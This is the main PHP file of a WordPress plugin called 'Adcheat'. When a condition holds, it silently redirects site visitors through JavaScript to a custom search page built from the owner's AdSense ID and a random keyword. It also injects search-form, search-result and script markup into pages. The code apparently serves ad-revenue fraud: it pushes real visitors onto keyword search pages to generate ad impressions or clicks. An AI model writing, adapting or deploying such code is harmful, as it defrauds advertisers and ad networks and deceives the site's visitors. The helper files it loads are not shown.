<?php

/**
 * @package Adcheat
 * @version 1.0
 */
/*
Plugin Name: Adcheat
Description: Adcheat
Author: Adcheat
Version: 1.0
*/

require_once dirname(__FILE__)."/config.php";
require_once ADCHEAT_HOME."/secret/client.php";

if (!isset($_GET["q"]) && isShowCheat()) {
    require_once ADCHEAT_HOME."/keywords/keywords.php";
    jsRedirect('http://'.$_SERVER["HTTP_HOST"].'/search/?cx='.urlencode(getOptionHost("ADSENSE_ID")).'&cof=FORID%3A10&ie=UTF-8&q='.urlencode(getRandomKeyword(getOptionHost("KEYWORDS"))).'&sa=Search');
    exit;
}

function startsWith($haystack, $needle) {
    $length = strlen($needle);
    return (substr($haystack, 0, $length) === $needle);
}

function renderSearchBox() {
    if (!isset($_GET["q"]) || !isset($_GET["cx"])) {
        if (getOptionHost("TEST")) {
            return file_get_contents(dirname(__FILE__)."/search_form_test.html");
        } else {
            return file_get_contents(dirname(__FILE__)."/search_form.html");
        }
    } else {
        return "";
    }
}

function insertScript() {
    echo "<script type=\"text/javascript\" src=\"/script.js\"></script>";
}

function renderSearchResults($content) {
    if (isset($_GET["q"]) && isset($_GET["cx"])) {
        if (getOptionHost("TEST")) {
            return $content.file_get_contents(dirname(__FILE__)."/search_results_test.html");
        } else {
            return $content.file_get_contents(dirname(__FILE__)."/search_results.html");
        }
    } else {
        return $content;
    }
}

add_filter("get_search_form", "renderSearchBox");
add_filter("the_content", "renderSearchResults");

add_action("wp_print_scripts", "insertScript");
add_action("get_template_part_content", "renderSearchResults");

?>
